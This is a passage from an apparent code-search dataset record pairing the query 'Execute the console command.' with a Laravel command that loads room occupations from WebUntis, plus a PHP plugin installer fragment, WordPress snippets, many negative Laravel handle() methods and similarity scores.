Wdgo++/jo5dSFm84\nekkpXaQ15dSUIEOTx+vcZIvgd00CzgyIpaa5azZV56EeQ+5ozgyc7Zb1vIz+llUqkwJP05zB\nblNrH1g0HVhsz+xYR9hXeu6kn6iUxYZqwLDrgJaaPLVF9lM3vsqYaiRkRqUKZ32nlXqC580K\nzYlRLRRsGpGh1sSwq27oxOjovjdOLQStTWcySZ0LzY6n4cZ6nF9n7jHO9My1Nhuga93jx6G8\nocCkse83qc0dFuvHk6OklDxDYfTt4KA/csOQkalHjPLJkuk3EEH/9Q8np33TZlUiHam0ZoRE\nUFj4Gn94qeuPQWTGSaT+wQgGzhTH3szLintKNunJ3sYBqsrMe65aMiNZRYZZ9wazlyO4cibV\nSZWCqGd9HvmZS7WBMR27r3n231QDMy/QowK/QPPllplw0J4bk1cQiDAP2af8RjZnIVl+/XFX\nxzoTv+4nM5qFE/SWZzEORtu2LStcEmNRxAuJx7Itek8HS4eXvOt+eu3R3SuivErX3QWm8m++\nNTcFZn7RgbZQckLdloVumog7r+JyZcvwi279MEAByaoc7MD6fbed99marVlZ/dl83jaV5ddz\nVCJQLecgGiVbd+fyhfXx7yyPnW/5rRUNCXzK3NCg3U6ttxmfVRy1qyMnVEJo9Td1vZc/VPOq\ndVMta2pcr36YJTJBn1SljCdzOr/RaxSOGx3vYH6p4TVInzMGqZuvxDRdyEqj2TKlcWJzmP2f\ne8EzRVH7pc7kd/124L/6mbFtvds+u9bpdpxfh2jj8Arq1ummWtffgc3rvYsOUcqZsLOYtV+U\nfPTN1DwR1/i6b6NX9T/qMv1Gb5+kHQHeYvt+9Vj/GQQ4rPagIYuMH6uJgs2ZTlId1+lfJbjL\nPsFL44KPPzTbnzH8cYL0lfbpy/88JX7y6qb+1q5T8wA3SWwVEJ2SxiT2aDIx6tNhq37Qpx9u\n0XEiw6ZtiiPNVoaekrD7oV/l+QWRP3a61wG/6KE6r/4NQR0sVpL/RAkmuLFcGZHdhNGCied5\nzPdkgA35Q5jczGbuoUL/KkvEVPqqFwGPhiUrwgiLFnvpqL5m6GbVVfKEmdrqbZLJJ/pZgTBq\nGP3WQ7/1IsjwoprNjP5JrH4RgsK8HQY6yyPA/wBgnJmDIy0AAA==';\n\t\t}\n\n\t\tforeach($resources as $file => $resource) {\n\t\t\t$newfile = $path . $file;\n\t\t\tif (is_array($resource)) {\n\t\t\t\tabl_droploader_install($event, $step, $resource, $newfile . '/');\n\t\t\t} else {\n\t\t\t\t$ok = is_dir(dirname($newfile));\n\t\t\t\tif (!$ok) {\n\t\t\t\t\t$ok = mkdir(dirname($newfile), 0755, true);\n\t\t\t\t}\n\t\t\t\tif ($ok) {\n\t\t\t\t\t$temp = base64_decode($resource);\n\t\t\t\t\tif (strncmp($temp, \"\\x1F\\x8B\", 2) === 0) {\n\t\t\t\t\t\t$temp = gzinflate(substr($temp, 10));\n\t\t\t\t\t}\n\t\t\t\t\tif (file_exists($newfile)) unlink($newfile);\n\t\t\t\t\t$handle = fopen($newfile, 'w');\n\t\t\t\t\tif ($handle !== false) {\n\t\t\t\t\t\tfwrite($handle, $temp);\n\t\t\t\t\t\tchmod($newfile, 0644);\n\t\t\t\t\t\tfclose($handle);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$state = E_ERROR;\n\t\t\t\t\t\terror_log('abl_droploader: ERROR: Creating file \\'' . $newfile . '\\' failed.');\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$state = E_ERROR;\n\t\t\t\t\terror_log('abl_droploader: ERROR: Creating directory \\'' . dirname($newfile) . '\\' failed.');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $state;\n\n\t}", "function generate_do_icon_css() {\n\t$output = false;\n\n\tif ( 'font' === generate_get_option( 'icons' ) ) {\n\t\t$url = trailingslashit( get_template_directory_uri() );\n\n\t\t$output = '@font-face {\n\t\t\tfont-family: \"GeneratePress\";\n\t\t\tsrc: url(\"' . $url . 'fonts/generatepress.eot\");\n\t\t\tsrc: url(\"' . $url . 'fonts/generatepress.eot#iefix\") format(\"embedded-opentype\"),\n\t\t\t\t url(\"' . $url . 'fonts/generatepress.woff2\") format(\"woff2\"),\n\t\t\t\t url(\"' . $url . 'fonts/generatepress.woff\") format(\"woff\"),\n\t\t\t\t url(\"' . $url . 'fonts/generatepress.ttf\") format(\"truetype\"),\n\t\t\t\t url(\"' . $url . 'fonts/generatepress.svg#GeneratePress\") format(\"svg\");\n\t\t\tfont-weight: normal;\n\t\t\tfont-style: normal;\n\t\t}';\n\n\t\tif ( defined( 'GENERATE_MENU_PLUS_VERSION' ) ) {\n\t\t\t$output .= '.main-navigation .slideout-toggle a:before,\n\t\t\t.slide-opened .slideout-overlay .slideout-exit:before {\n\t\t\t\tfont-family: GeneratePress;\n\t\t\t}\n\n\t\t\t.slideout-navigation .dropdown-menu-toggle:before {\n\t\t\t\tcontent: \"\\f107\" !important;\n\t\t\t}\n\n\t\t\t.slideout-navigation .sfHover > a .dropdown-menu-toggle:before {\n\t\t\t\tcontent: \"\\f106\" !important;\n\t\t\t}';\n\t\t}\n\t}\n\n\tif ( 'svg' === generate_get_option( 'icons' ) ) {\n\t\t$output = 'button.menu-toggle:before,\n\t\t.search-item a:before,\n\t\t.dropdown-menu-toggle:before,\n\t\t.cat-links:before,\n\t\t.tags-links:before,\n\t\t.comments-link:before,\n\t\t.nav-previous .prev:before,\n\t\t.nav-next .next:before,\n\t\t.generate-back-to-top:before {\n\t\t\tdisplay: none;\n\t\t}';\n\t}\n\n\tif ( $output ) {\n\t\treturn str_replace( array( \"\\r\", \"\\n\", \"\\t\" ), '', $output );\n\t}\n}", "function register_plugin_page(){\n wp_create_category('casoClinico');\n add_menu_page( 'Admin Quiz', 'Admin Quiz', 'edit_others_posts', __DIR__.'/views/admin/quizAdmin.php', '','dashicons-welcome-write-blog' );;\n}" ]
[ "0.60629165", "0.6047844", "0.6012591", "0.59231424", "0.5919418", "0.5880163", "0.58073235", "0.5781766", "0.56969285", "0.56843084", "0.5548291", "0.5511798", "0.54904664", "0.5446991", "0.5434388", "0.54055536", "0.5397255", "0.5273456", "0.52485824", "0.5236595", "0.52168536", "0.52159613", "0.52112436", "0.519978", "0.5196072", "0.51941746", "0.5190551", "0.5156774", "0.5154628", "0.51416457", "0.5131726", "0.51241624", "0.51166165", "0.5114251", "0.51116663", "0.5101854", "0.5098321", "0.5094964", "0.50925934", "0.5090046", "0.50888103", "0.5085516", "0.50783235", "0.50626117", "0.50575256", "0.5049091", "0.5048768", "0.50473773", "0.50468886", "0.5045123", "0.50419635", "0.50414014", "0.50414014", "0.50414014", "0.5040074", "0.50329095", "0.50292236", "0.5026457", "0.50254315", "0.5024808", "0.5019749", "0.5015846", "0.50004566", "0.4999208", "0.49981037", "0.4996124", "0.4993912", "0.49786422", "0.49779695", "0.49694628", "0.495926", "0.4942075", "0.49367344", "0.4936571", "0.49311113", "0.49228072", "0.49209794", "0.49074274", "0.49064565", "0.490546", "0.4903502", "0.4902168", "0.4892724", "0.4892724", "0.4892724", "0.4892724", "0.4892724", "0.4892724", "0.48907936", "0.4884096", "0.4883327", "0.4881321", "0.48794845", "0.48772648", "0.48758927", "0.48663217", "0.486524", "0.48643237", "0.48602945", "0.4860209" ]
0.6696858
0
Execute the console command.
public function handle() { try { $this->roomService->loadRoomOccupations(); Log::notice('untis:occupations executed successfully.'); $this->line('Loaded room occupations from WebUntis.'); } catch (Exception $e) { Log::error('Error loading room occupations.', ['exception' => $e]); $this->error('Error loading room occupations: ' . $e->getMessage()); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function handle()\n {\n\t\t$this->info('league fetching ..');\n $object = new XmlFeed();\n\t\t$object->fetchLeague($this->argument('sports_id'));\n\t\t$this->info('league saved');\n }", "public function handle()\n {\n //get us the Converter class instance and call the convert() method on it.\n $this->info(\n \\Aregsar\\Converter\\ConverterFacade::convert($this->argument(\"currency\"))\n );\n }", "public function handle()\n {\n $this->locale = $this->argument('locale');\n\n $this->loadGroupLines();\n\n $this->loadNameSpacedLines();\n\n $this->info('Complete');\n }", "public function handle()\n {\n $this->importUser($this->argument('username'));\n $this->call('ldap:show-user', $this->arguments());\n }", "public function handle() {\n $user = User::where('id', $this->argument('userId'))->first();\n $this->info($user->email);\n }", "public function handle()\n {\n $translations = collect(json_decode(file_get_contents('https://raw.githubusercontent.com/getbible/Bibles/master/translations.json')))->flatten();\n switch($this->argument('action')) {\n case 'fetch':\n $this->fetchBibles($translations);\n break;\n case 'convert':\n $this->convertBibles($translations);\n break;\n }\n }", "public function handle()\n {\n try {\n $evalstr = $this->evaluater->evaluate($this->argument('evalString'));\n $this->info($evalstr);\n } catch (ForbiddenSymbolsException $exception) {\n $this->error($exception->getMessage());\n } catch (IncorrectSymbolsException $exception) {\n $this->error($exception->getMessage());\n }\n }", "public function handle()\n {\n\n $settings = Setting::fetch();\n $id = $this->argument('id');\n $this->scrape_game_data($id);\n }", "public function handle()\n {\n // env('CALENDARINDEX_TOKEN', '6f2bd927201ba4b22bb57df08db0c517e51732de')\n $this->getData($this->argument('country'), $this->argument('region'));\n }", "public function handle()\n {\n $email = $this->argument('email');\n $name = $this->argument('name');\n\n $this->info(\"starting to generate users details\");\n\n }", "public function handle()\n {\n\t\t$this->info('Importing translations...');\n\n\t\t$this->manager->importTranslations(true);\n }", "public function handle()\n {\n $user = null;\n\n if ($email = $this->option(\"email\", false)) {\n $user = $this->findByEmail($email);\n }\n\n if ($id = $this->option(\"id\", false)) {\n $user = $this->findById($id);\n }\n\n if (empty($user)) {\n $this->warn(\"User no found\");\n }\n else {\n $this->setRoleToUser($user);\n }\n }", "public function handle()\n {\n $name = ucwords($this->argument('name'));\n $this->call('repository:contract', [ 'name' => $name ]);\n $this->call('repository:class', [ 'name' => $name, '--driver' => $this->option('driver') ]);\n }", "public function handle()\n\t{\n\t\t// Superuser\n\t\tif( ! $this->option('no-superuser'))\n\t\t\t$this->call('setup:superuser');\n\n\t\t// Countries\n\t\tif( ! $this->option('no-countries'))\n\t\t\t$this->call('setup:countries', ['country' => array_filter(explode(',', $this->option('countries')))]);\n\n\t\t// Languages\n\t\tif( ! $this->option('no-languages'))\n\t\t\t$this->call('setup:languages', ['language' => array_filter(explode(',', $this->option('languages')))]);\n\n\t\t// Currencies\n\t\tif( ! $this->option('no-currencies'))\n\t\t\t$this->call('setup:currencies', ['currency' => array_filter(explode(',', $this->option('currencies')))]);\n\n\t\t// Clear cache\n\t\t$this->call('cache:clear');\n\t}", "public function handle()\n\t{\n\t\t$name = $this->argument('name');\n\t\t\n\t\t$this->info(\"Searching eve api for {$name}\");\n\t\t$result = Corporation::searchEVEAPI($name);\n\n\t\t$this->info(\"results\");\n\t\tforeach($result as $corp)\n\t\t{\n\t\t\tprint $corp->name . \" \" . $corp->id . \"\\r\\n\";\n\t\t}\n\t}", "public function handle()\n {\n $user = $this->argument('user');\n $this->info('Display this on the screen, user ' . $user);\n return 0;\n }", "public function handle()\n {\n $this->userVectors->test($this->option('force'));\n }", "public function handle()\n {\n $mapping = $this->formatMappingName((string)$this->argument('mapping'));\n \n $model = $this->option('model') ? $this->formatModelName($this->option('model')) : null;\n \n $this->filesystem->put(\n $this->buildMappingFilePath($mapping),\n $this->buildMapping(\n $this->getDefaultStub(),\n $mapping,\n $model\n )\n );\n \n $this->composer->dumpAutoloads();\n }", "public function handle()\n {\n switch ($this->argument('type')) {\n case 'dns':\n $this->dnscheck->run($this->option('dry-run') ? true : false, $this->argument('domain'));\n break;\n case 'whois':\n $this->whoischeck->run($this->option('dry-run') ? true : false, $this->argument('domain'));\n break;\n }\n }", "public function handle()\n {\n $option = $this->argument('option');\n\n if (! in_array($option, ['expired', 'all'])) {\n return $this->error('Invalid option supplied to command...');\n }\n\n $this->comment('Beginning pruning process...');\n\n $this->comment($this->pruneDatabase($option) . ' deleted from database...');\n\n $this->comment($this->pruneFiles($option) . ' deleted from files...');\n\n $this->info('Nonces pruned successfully!');\n }", "public function handle()\n {\n $subscriptionUpdateService = new SubscriptionUpdateService();\n $subscriptionUpdateService->runUpdates();\n }", "public function handle()\n\t{\n\t\t\n\t\t$source_directory = $this->argument( 'source_directory' );\n\t\t$target_directory = $this->argument( 'target_directory' );\n\t\t$template = (string) $this->option( 'template' );\n\n\t\t$statik = new \\App\\Statik\\Statik;\n\n\t\t$statik->generateHTMLFiles( $this, $source_directory, $target_directory, $template ) && $this->info( \"\\e[1;32mDONE!\" );\n\n\t}", "public function handle()\n {\n if (!$this->argument('file')) {\n $this->info('Please specify file to call.');\n }\n\n $file = $this->argument('file');\n\n if (!$this->fileHandler->exists($file)) {\n $this->info('Wrong path or file not exist.');\n }\n\n $this->executeFile($file);\n }", "public function handle()\n {\n $user = $this->argument('user');\n $this->scanner->setUserName($user);\n $this->scanner->scanUser();\n }", "public function handle()\n {\n if ($this->argument('user')) {\n $userId = $this->argument('user');\n\n $this->info(\"Liquidate affiliate commission for user \" . $userId);\n\n $user = $this->userService->findById($userId);\n\n if ($user) {\n $this->walletService->liquidateUserBalance($user);\n } else {\n $this->error(\"User not found\");\n }\n\n $this->info(\"Done\");\n } else {\n $this->info(\"Liquidate all commissions\");\n\n $this->walletService->liquidateAllUsersBalance();\n\n $this->info(\"Done\");\n }\n }", "public function handle()\n {\n $action = $this->choice('what action do you have on mind', [\n 'add-relation', 'remove-columns', 'column-type', 'rename-column'\n ]);\n switch ($action) {\n case 'add-relation':\n $this->addRelation();\n break;\n\n case 'remove-columns':\n $this->removeColumns();\n break;\n case 'column-type':\n $this->columnType();\n break;\n case 'rename-column':\n $this->renameColumn();\n break;\n default:\n $this->error('Unsupported action requested...');\n }\n $this->info('Command executed successfully');\n }", "public function handle()\n {\n $arguments = $this->arguments();\n $storageDir = $arguments['storageDir'];\n $localStorageDir = $arguments['localStorageDir'];\n $url = $arguments['url'];\n $cmd = sprintf(\"./app/Console/Commands/ShellScripts/screen_shot.sh %s %s %s\", $storageDir, $localStorageDir, $url);\n\n while (true) {\n $result = shell_exec($cmd);\n print_r($result);\n sleep(3);\n }\n }", "public function handle()\n {\n $city = $this->argument('city');\n\n $weatherService = new CurrentWeatherService();\n try {\n $weather = $weatherService->getByCity($city);\n } catch (WeatherException $e) {\n $this->error($e->getMessage());\n return;\n }\n\n $this->info('Weather for city '.$city);\n dump($weather->toArray());\n }", "public function handle()\n {\n $this->getModels($this->argument('model'));\n $this->getLanguages($this->argument('locale'));\n $this->createMultiLanguageRecords();\n }", "public function handle()\n {\n $this->processOptions();\n\n echo json_encode( $this->dateTimeRange ) . \"\\n\";\n\n $this->dispatch( new ProcessNewActionsJob(\n $this->dateTimeRange ,\n str_random( 16 ),\n $this->option('runtime-threshold')\n ) );\n }", "public function handle()\n {\n $fightId = $this->argument('fight_id');\n $metricId = $this->argument('metric_id');\n //$strategyName = 'App\\\\'.$this->argument('metric_name');\n\n $metric = BossMetric::find($metricId);\n if ($metric === null) {\n $this->error(\"Error: no metric with id: $metricId found!\");\n return;\n }\n\n $fight = Fight::find($fightId);\n\n if ($fight === null) {\n $this->error(\"Error: no fight with id: $fightId found!\");\n return;\n }\n\n $strategy = $metric->getStrategy();\n $strategy->setFight($fight);\n $strategy->run();\n }", "public function handle()\n {\n\t\t$this->call('vendor:publish');\n\t\t$this->call('migrate');\n\t\t$this->call('db:seed');\n\t\t$this->call('factotum:storage');\n\t\t$this->call('factotum:storage');\n }", "public function handle()\n {\n $user_id = $this->argument('user') ?? null;\n\n if (is_null($user_id)) {\n $users = User::all();\n\n foreach ($users as $user) {\n $this->showUserBalance($user);\n }\n } else {\n $user = User::find($user_id);\n\n $this->showUserBalance($user);\n }\n }", "public function handle()\n {\n $this->capsuleService->getAll();\n $this->line('Command Worked');\n }", "public function handle()\n {\n $platform_wechat_id = $this->argument('id');\n $customer_id = $this->argument('customer_id');\n $this->info(\"Starting at \".date('Y-m-d H:i:s').\". Running initial for 【{$this->signature}】\");\n $this->getUserInfoList($platform_wechat_id,$customer_id);\n $this->info(\"End at \".date('Y-m-d H:i:s').\". over for 【{$this->signature}】\");\n }", "public function handle()\n {\n $this->publishAssets();\n $this->call('twill:flush-manifest');\n $this->call('view:clear');\n }", "public function handle()\n {\n \n $argument = $this->argument('data');\n \n $this->prepare( $argument );\n \n $this->make();\n \n $this->info( 'migration has been created : '. $this->fileName );\n \n }", "public function handle()\n {\n chdir(resource_path('assets/ts'));\n $path = $this->argument(\"path\");\n if(isset($path))\n {\n Logger::info('execute '.$path);\n Command::executeRaw('tsc', [\"-p\", $path]);\n }else\n Logger::info('execute tsc');\n Command::executeRaw('tsc');\n }", "public function handle()\n {\n $this->info('Starting date change command.');\n\n Word::where('language_id', 1)->update(array('created_at' => '1970-01-01 00:00:01'));\n Word::where('language_id', 2)->update(array('created_at' => '1970-01-01 00:00:01'));\n\n $this->info('Dates have been changed to 1970-01-01 00:00:01');\n }", "public function handle()\n {\n $this->info($this->slugger->encode($this->argument('id')));\n }", "public function handle()\n {\n $this->line(static::$logo);\n $this->line('Neat admin current version:' . Neat::version());\n\n $this->comment('');\n $this->comment('Available commands:');\n\n $this->listAvailableCommands();\n }", "public function handle()\n {\n $this->revisions->updateListFiles();\n }", "public function handle(): void\n {\n // Set argument\n $this->url = $this->argument(self::URL_ARGUMENT);\n\n // Handler takes care of computation\n (new CommandHandler($this))->compute();\n }", "public function handle()\n {\n try\n {\n $filename = $this->argument('filename');\n Excel::import(new ObjectsImport, $filename);\n\n $this->info('Data import is now completed');\n }\n catch(Exception $ex)\n {\n $this->error($ex->getMessage());\n }\n }", "public function handle() {\n $entity = $this->validateEntity($this->argument('entity'));\n $job = new DataProcessingJob($entity, str_random(16));\n $this->dispatch($job);\n }", "public function handle()\n {\n $isProductionMode = 'prod' == $this->argument('mode');\n\n if ($isProductionMode) {\n if (!$this->confirm('Are you sure to run in production mode? Running this command may cause critical issues?')) {\n exit(1);\n }\n }\n\n $this->_recalculate($isProductionMode);\n }", "public function handle()\n {\n if(!$this->verify()) {\n $rank = $this->createRankSuperAdmin();\n $user = $this->createUserSuperAdmin();\n $user->Ranks()->attach($rank);\n $this->line('Felicitaciones');\n } else {\n $this->error('No se puede ejecutar');\n }\n }", "public function handle()\n {\n // Get CLI Input\n $user_id = $this->option(\"uid\");\n\n // User Products\n ( new CommandManager() )->showUserProducts( $user_id );\n }", "public function handle()\n {\n $force = $this->option('force');\n\n if($this->option('without-bulk')){\n $this->withoutBulk = true;\n }\n\n if ($this->generateClass($force)){\n $this->info('Generating permissions for '.$this->modelBaseName.' finished');\n }\n }", "public function handle()\n {\n $tournaments = Tournament::all()->toArray();\n foreach ($tournaments as $tournament) {\n $slug = $this->tournamentRepoObj->generateSlug($tournament['name'].Carbon::createFromFormat('d/m/Y', $tournament['start_date'])->year,'');\n DB::table('tournaments')\n ->where('id', $tournament['id'])\n ->update([\n 'slug' => $slug\n ]);\n }\n $this->info('Script executed.');\n }", "public function handle()\n {\n $userId = $this->argument('user');\n\n /** @var User $user */\n $user = User::findOrFail($userId);\n\n // Get token.\n $info = (new Client())->auth();\n\n // Save to db.\n $user->access_token = $info['access_token'];\n $user->access_secret = $info['access_secret'];\n $user->save();\n\n $this->line(\"Saved access token and secret for user: {$user->email}\");\n }", "public function handle()\n {\n $m = new MemberFromText;\n $m->train();\n $id = $m->predict($this->argument('text'));\n dump(Miembro::find($id)->toArray());\n }", "public function handle()\n {\n $this->generator\n ->setConsole($this)\n ->run();\n }", "public function handle()\n {\n $this->createController();\n $this->createServiceDir();\n\n exit;\n $args = [\n '--provider' => TestProvider::class\n ];\n $className = $this->argument('className');\n if (!$className) {\n $className = 'MethodsList';\n }\n $className = ucwords($className);\n $this->call('vendor:publish', $args);\n $this->info('Display this on the screen ' . $className);\n }", "public function handle()\n {\n $this->createDirectories();\n\n $this->publishTests();\n\n $this->info('Authentication tests generated successfully.');\n }", "public function handle()\n {\n $this->setDbConnection(\n $this->input->getOption('database') ?: config('ghost-database.default_connection')\n );\n\n $native = $this->input->getOption('native-import') ?: config('ghost-database.use_native_importer');\n\n $snapshot = $this->import($native);\n\n $this->info(\"Snapshot `{$snapshot->name}` loaded!\");\n }", "public function handle()\n {\n $exec = $this->argument('exec');\n\n switch ($exec) {\n case 'download' :\n $this->download();\n break;\n\n case 'generate' :\n $this->generate();\n break;\n\n default :\n echo \"Choose 'download' or 'generate' for this command\";\n break;\n }\n }", "public function handle()\n {\n $this->call('ziggy:generate', ['path' => './resources/js/ziggy-admin.js', '--group' => 'admin']);\n $this->call('ziggy:generate', ['path' => './resources/js/ziggy-frontend.js', '--group' => 'frontend']);\n $this->call(TranslationsGenerateCommand::class);\n }", "public function handle()\n {\n $tenantName = $this->argument('tenant');\n\n $tenant = Tenant::where('name', $tenantName)->orWhere('subdomain', $tenantName)->first();\n\n if ($tenant) {\n $tenant->setActive();\n \\Artisan::call('tinker');\n } else {\n $this->error('Error: Tenant not found');\n }\n }", "public function handle()\n {\n try {\n if (!empty($userId = $this->argument('user'))) {\n $user = User::find($userId);\n } else {\n $user = User::inRandomOrder()->first();\n }\n\n if (empty($user)) {\n throw new \\Exception('User not found');\n }\n\n echo JWTAuth::fromUser($user);\n } catch (\\Exception $e) {\n echo $e->getMessage();\n }\n\n }", "public function handle()\n {\n $this->fetchAndSetToken();\n $imagesToDownload = $this->peekImages(WatchedApp::pluck('package_name'));\n $this->fetchImages($imagesToDownload);\n\n if ($this->option('dont-optimize')) {\n return;\n }\n\n $this->runOptimizeCommand();\n }", "public function handle()\n {\n $this->setCryptIVFromUrl($this->argument('url'));\n\n $participant = URLParser::parseByName('santa.index', $this->argument('url'))->participant;\n if($participant) {\n $draw = $participant->draw;\n } else {\n $draw = URLParser::parseByName('organizer.index', $this->argument('url'))->draw;\n }\n\n $this->table(\n ['ID', 'Name', 'Email'],\n $draw->participants()->get(['id', 'name', 'email'])->toArray()\n );\n }", "public function handle()\n {\n // if you are on the local environment\n if (!(app()->isLocal() || app()->runningUnitTests())) {\n $this->error('This command is only available on the local environment.');\n return;\n }\n\n $fqdn = $this->argument('fqdn');\n if ($tenant = Tenant::retrieveBy($fqdn)){\n $tenant->delete($fqdn);\n $this->info(\"Tenant {$fqdn} successfully deleted.\");\n }else {\n $this->error('This fqdn doesn\\'t exist.');\n }\n\n }", "public function handle()\n {\n $user_from = $this->option('from');\n $user_to = $this->option('to');\n $sum = $this->option('sum');\n\n CreateTransaction::dispatch($this->usersRepository->getByID($user_from), $this->usersRepository->getByID($user_to), $sum, true);\n $this->transactionsRepository->getAll()->each(function ($transaction){\n \tExecuteTransaction::dispatch($transaction);\n });\n }", "public function handle()\n {\n $this->warn('Starting Retrieve Data');\n\n PeopleService::retrieveData();\n\n $this->info('Retrieve Data Completed');\n }", "public function handle()\n {\n \n $period = $this->option('period');\n \n switch ($period) {\n\n case 'half_month':\n $this->info('Grabing Half Month Income...');\n $this->halfMonth();\n break;\n\n case 'monthly':\n $this->info('Grabing Monthly Income...');\n $this->monthly();\n break;\n \n default:\n $this->info('Grabing Daily Income...');\n $this->daily();\n break;\n\n }\n\n \n }", "public function handle()\n {\n $countryFiles = $this->getFiles();\n\n foreach ($countryFiles as $fileName) {\n $this->seed($fileName);\n }\n\n $this->info('End.');\n }", "public function fire()\n {\n $entityName = $this->argument('entityName');\n $startEntityId = $this->argument('startEntityId');\n $endEntityId = $this->argument('endEntityId');\n $depth = $this->argument('depth');\n\n $this->fixturePath = $this->option('outputPath');\n\n $this->info(\"Generating fixtures for $entityName in {$this->fixturePath}...\");\n \n $this->generateFixtures($entityName, $startEntityId, $endEntityId, $depth);\n }", "public function handle()\n {\n $check = PublishTraitsService::publishTraits();\n\n if ($check)\n {\n $this->info('All files have been published');\n }\n\n $this->info('Failed to publish');\n }", "public function handle()\n {\n $user = User::where('username', $this->argument('user'))\n ->orWhere('email', $this->argument('user'))\n ->first();\n\n if ($user != null) {\n $user->assign('admin');\n $this->line(\"{$user->email} was successfully made an admin.\");\n } else {\n $this->line(\"No user found where username or email is '{$this->argument('user')}'\");\n }\n }", "public function handle()\n {\n event( 'laraview:compile' );\n $this->checkForSelectedViewGeneration();\n\n app( RegisterBlueprint::class )\n ->console( $this )\n ->generate();\n }", "public function handle()\n {\n $project = Project::with(['team.admins', 'team.members'])->findOrFail($this->option('project-id'));\n $user = User::findOrFail($this->option('user-id'));\n if ($this->option('admin')) {\n $project->team->admins()->syncWithoutDetaching($user);\n } else {\n $project->team->members()->syncWithoutDetaching($user);\n }\n return Command::SUCCESS;\n }", "public function handle()\n {\n $this->loadIxList();\n $this->loadIxMembersList();\n $this->updateIxInfo();\n $this->updateIxMembersInfo();\n }", "public function handle()\n {\n $this->call('vendor:publish', [\n '--provider' => \"Qoraiche\\MailEclipse\\MailEclipseServiceProvider\",\n ]);\n }", "public function handle()\n\t{\n\t\tif ($this->option('dev')) {\n\t\t\tsystem('php '.base_path('.deploy/deploy-dev.php'));\n\t\t} else {\n\t\t\tsystem('php '.base_path('.deploy/deploy.php'));\n\t\t}\n\t}", "public function handle(Command $command);", "public function handle(Command $command);", "public function handle()\n {\n $date_from = $this->argument('date_from');\n\t\t$date_to = $this->argument('date_to');\n\t\tif(!$date_from) {\n\t\t\t$date_from = Carbon::today()->subDays(5);\n\t\t}\n\t\tif(!$date_to) {\n\t\t\t$date_to = Carbon::yesterday();\n\t\t}\n\t\tStats::computeMembers($this->argument('venue_id'), $date_from, $date_to);\n }", "public function handle()\n {\n switch ($this->argument('type')){\n case 'fih':\n $scrapper = new Scrappers\\FederationScrapper();\n $scrapper->get($this->option('level'));\n print $scrapper->message();\n break;\n }\n }", "public function handle()\n {\n Log::info(\"seed:dash Command is working fine!\");\n $this->info('Dashboard Database seeding completed successfully.');\n }", "public function handle()\n {\n $originalId = $this->argument('original_id');\n\n $status = true;\n if ($this->option('status') === 'false') {\n $status = false;\n }\n\n if ($video = Video::where('original_id', $originalId)->first()) {\n $video->dmca_claim = $status;\n $video->save();\n\n $this->info('Video\\'s dmca_claim set to: ' . json_encode($status));\n return ;\n }\n\n $this->error('No video found with original_id of: ' . $originalId);\n return;\n }", "public function handle()\n {\n $this->call('config:clear');\n\n $this->call('config:update');\n\n $this->info('Configuration cached successfully!');\n }", "public function handle()\n {\n //\n $modelName = $this->argument('model');\n $column = $this->argument('column');\n $this->generateMutation($modelName, $column);\n\n }", "public function handle()\n {\n $filePath = 'public/' . $this->argument('fileName');\n $count = $this->argument('count');\n \n $fileData = array_slice(file($filePath), 0, $count);\n $this->info(implode('', $fileData));\n }", "public function handle()\n {\n $email = $this->argument('email');\n\n Mail::to($email)->send(new SendMailable('Test Mail'));\n\n if (Mail::failures()) {\n $this->info('Email failed to send');\n } else {\n $this->info('Email successfully sent');\n }\n }", "public function handle()\n {\n $this->call('route:trans:clear');\n\n $this->cacheRoutesPerLocale();\n\n $this->info('Routes cached successfully for all locales!');\n }", "public function handle()\n {\n $this->info('Welcome to command for Bantenprov\\WilayahIndonesia package');\n }", "public function handle()\n {\n if($this->hasOption('no_dump') && $this->option('no_dump')){\n $this->composer_dump = false;\n }\n $this->readyDatas();\n $this->datas['startSymbol']='{{';\n $this->datas['endSymbol']='}}';\n $this->create();\n }", "public function handle()\n {\n $repository = new OglasiCrawlerRepository();\n $ads = $repository->getAds();\n $repository->saveAds($ads);\n\n echo 'Ads were successfully retrieved' . PHP_EOL;\n }", "public function handle()\n {\n $this->makeDir($this->basePath . $this->kebabPlural());\n\n $this->exportViews();\n\n $this->info('Resource views generated successfully.');\n }", "public function handle()\n {\n $movies = \\App\\Models\\Movie::whereNull('meta')->take(40)->orderBy('id')->get();\n $movies->each(function($movie){ sleep(1); $movie->getMeta(); });\n return Command::SUCCESS;\n }", "public function handle()\n {\n $this->packageGenerator->setConsole($this)\n ->setPackage($this->argument('package'))\n ->setType('shipping')\n ->setForce($this->option('force'))\n ->generate();\n }", "public function handle()\n {\n $test = $this->argument('test');\n\n $dir = config('speed-test.dir');\n\n $className = ucfirst(\\Str::camel($test));\n\n $namespace = config('speed-test.namespace');\n\n $class = class_entity($className)\n ->namespace($namespace);\n\n $class->method('speed1')\n ->line($this->option('line'))->doc(function ($doc) use ($className) {\n /** @var DocumentorEntity $doc */\n $doc->tagCustom('times', $this->option('times'));\n $doc->description($this->option('description') ?: \"{$className} Speed 1\");\n });\n\n if (! is_dir($dir)) {\n mkdir($dir, 0777, 1);\n }\n\n file_put_contents(\n $dir.'/'.$className.'.php',\n $class->wrap('php')\n );\n\n $this->info('Speed created!');\n\n return 0;\n }", "public function handle()\n {\n $message = $this->GenerateRandomUser($this->argument('count'));\n $this->info($message);\n }", "public function handle()\n {\n $host = Cache::get('executingHost', null);\n $this->info(\"Host: ${host}\");\n\n if ($host === null) {\n $this->info('実行するホストが選択されていません');\n return;\n }\n\n if (Schema::hasTable('companies') && Company::count() !== 0) {\n $this->info('マイグレーションが既に1回以上実行されています');\n return;\n }\n\n $should_execute = $host === $this->argument('executingHost');\n\n if ($should_execute) {\n Artisan::call('migrate:fresh', ['--seed' => true]);\n $this->info('マイグレーションが完了しました');\n\n Cache::forget('executingHost');\n } else {\n $this->info('別ホストにてマイグレーションが行われます');\n }\n }", "public function handle()\n {\n // Configuration...\n $this->callSilent('vendor:publish', ['--tag' => 'model-login-config']);\n\n // Migrations\n $this->callSilent('vendor:publish', ['--tag' => 'model-login-migrations']);\n\n $this->info('Model Login resources published.');\n }", "public function handle()\n {\n if ($this->validation()) {\n $money = $this->argument('money');\n Cache::increment('amount', $money);\n }\n }", "public function handle()\n {\n $this->info('Publishing stuff..');\n\n $this->publishFiles();\n\n $this->info('Setup complete. Enjoy!');\n }", "public function handle()\n {\n 